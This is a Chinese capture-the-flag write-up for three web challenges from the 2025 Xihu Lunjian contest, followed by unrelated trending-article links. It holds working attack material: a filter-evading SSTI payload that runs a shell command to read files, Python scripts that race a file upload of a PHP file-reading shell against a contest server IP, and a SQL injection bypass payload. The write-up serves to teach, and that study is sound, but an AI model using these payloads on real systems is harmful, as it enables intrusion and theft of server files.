2025西湖论剑·中国杭州网络安全技能大赛题解(全)
创作时间:
作者:
@小白创作中心
2025西湖论剑·中国杭州网络安全技能大赛题解(全)
引用
CSDN
1.
https://blog.csdn.net/uuzeray/article/details/145228235
2025年西湖论剑·中国杭州网络安全技能大赛已经落下帷幕,本次大赛的赛题设计精良,涵盖了多种Web安全领域的知识点。本文将为大家详细解析本次大赛中的三个经典题目:Rank-l、Rank-U和sqli or not,帮助读者理解解题思路并掌握相关技术要点。
Rank-l
本题的关键在于发现username参数存在SSTI(Server-Side Template Injection)漏洞。通过本地搭建一个服务,可以使用折半查找法fuzz黑名单,并不断迭代payload。
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/input', methods=['GET', 'POST'])
def user_input():
if request.method == 'POST':
user_input = request.form.get('user_input', '')
if any(char in user_input for char in ['+', '/', '*','"','\\','{%','%}','urlencode','mod']):
return "输入中包含不允许的字符。", 400
template = "<h1>用户输入的内容是:{{ input }}</h1>"
return render_template_string(template, input=user_input)
return '''
<form method="POST">
<label for="user_input">请输入内容:</label>
<input type="text" id="user_input" name="user_input">
<button type="submit">提交</button>
</form>
'''
if __name__ == '__main__':
app.run(host="0.0.0.0",port=1338,debug=True)
最终使用的payload如下:
{
{cycler.next.__globals__.__builtins__.__import__('os').popen(lipsum['__glob''al''s__']['__builti''ns__']['chr'](37).__add__('c').__mul__(7)|format(116,97,99,32,47,102,42)).read()}}
Rank-U
本题首先通过Burpsuite默认字典爆破密码,发现存在302重定向的多个可登录点。登录后发现是一个任意文件上传功能,但上传的文件会被立即删除。因此需要利用条件竞争(Time-based Race Condition)来获取flag。
首先使用第一个脚本上传恶意文件:
import requests
while True:
burp0_url = "http://139.155.126.78:30675/admin/index.php"
burp0_cookies = {"PHPSESSID": "bsgq3v7goubrk1ciepr0se2dfc"}
burp0_data = (
"------WebKitFormBoundarygIbPTT5pJVbv72RS\r\n"
"Content-Disposition: form-data; name=\"file_upload\"; filename=\"yjh3.php\"\r\n"
"Content-Type: application/octet-stream\r\n\r\n"
"<?php echo file_get_contents('/flag');?>\r\n"
"------WebKitFormBoundarygIbPTT5pJVbv72RS--\r\n"
)
r = requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data)
try:
filename = r.text.split('./Uploads/1f14bba00da3b75118bc8dbf8625f7d0/')[1].split('</p>')[0]
with open('name.txt', 'w') as file:
file.write(filename.strip())
except IndexError:
print("无法提取文件路径或文件上传失败")
然后使用第二个脚本读取flag:
import requests
url0 = 'http://139.155.126.78:30675/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0/'
while True:
with open('name.txt', 'r') as file:
for filename in file:
shellpath = url0 + filename.strip()
r1 = requests.get(shellpath)
if r1.status_code != 404:
print(r1.status_code)
print(r1.text)
sqli or not
本题的关键在于绕过对逗号和引号的过滤。参考了ctfshow web344的解题思路,通过分析本地搭建的服务发现可以成功闭合SQL语句。
本地服务代码如下:
var express = require('express');
var app = express();
var router = express.Router();
module.exports = router;
app.use(router);
router.get('/', (req, res, next) => {
if (req.query.info) {
if (req.url.match(/\,/ig)) {
res.end('hacker1!');
}
var info = JSON.parse(req.query.info);
let responseContent = `Parsed info: ${JSON.stringify(info)}<br>`;
if (info.username && info.password) {
var username = info.username;
var password = info.password;
if (info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)) {
responseContent += 'hacker2!<br>';
}
var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
sql = sql.replace("{username}", username);
sql = sql.replace("{password}", password);
responseContent += `Generated SQL: ${sql}<br>`;
} else {
responseContent += "please input the data<br>";
}
res.send(responseContent);
} else {
res.end("please input the data");
}
});
const port = 4000;
app.listen(port, () => {
console.log(`Server running on port ${port}`);
});
最终使用的payload为:
?info={"username":"$`+or+1=1--+"&info="password":"123456"}
通过这个payload可以成功获取flag文件。
热门推荐
花草树木:地球的肺,你了解吗?
上海植物造景的秘密:花草树木如何打造城市绿洲?
景观植物:城市绿化的颜值担当
大学生职业规划指南:从自我认知到长远发展
电脑开机黑屏不显示任何东西?三招教你快速解决
常听音乐,让你的身心更健康!
广州地铁11号线:一站直达白云山,环游广州更便捷!
广州地铁11号线开通!一站一景玩转广州
广州地铁11号线:一条环线串起岭南文化瑰宝
春节档必看:《哪吒2》与《封神》的历史人物塑造
2025春节档票房95亿创新高:上海北京断层领先,新一线城市崛起
春节后如何通过饮食和运动缓解节后综合征?
解锁鲜美秘诀,深度解析牛肉蔬菜汤的烹饪艺术与健康益处
东莞东站最新交通攻略:公交、地铁、停车全解析
马应龙痔疮膏:消肿止痛神器!
立式热虹吸再沸器:化工界的高效神器!
经济形势对股市的影响是什么?这种影响如何进行评估?
流体居然可以做防弹衣?非牛顿流体是什么?生活中应用广泛很常见
迪士尼孕妇游玩攻略
光线传媒如何借《哪吒2》票房大赚?
北京市方圆公证处:让遗嘱公证“最多跑一次”
北京市方圆公证处招聘啦!
北京市方圆公证处:财产公证费用全解析
健美比赛中的神秘涂层,揭秘健美选手涂抹物的奥秘
美食飘香促发展:汕头美食如何助力地方经济腾飞
中国千米级超大型航天器:未来太空探索的新纪元?
胡夫金字塔:超大规模单位的工程奇迹
《孙子算经》教你如何用超大规模单位玩转天文学!
头孢和布洛芬的区别
蒜苔炒肉巨下饭!拌米饭三碗都不够吃,香迷糊啦,酱香浓郁,蒜苔脆嫩脆嫩的!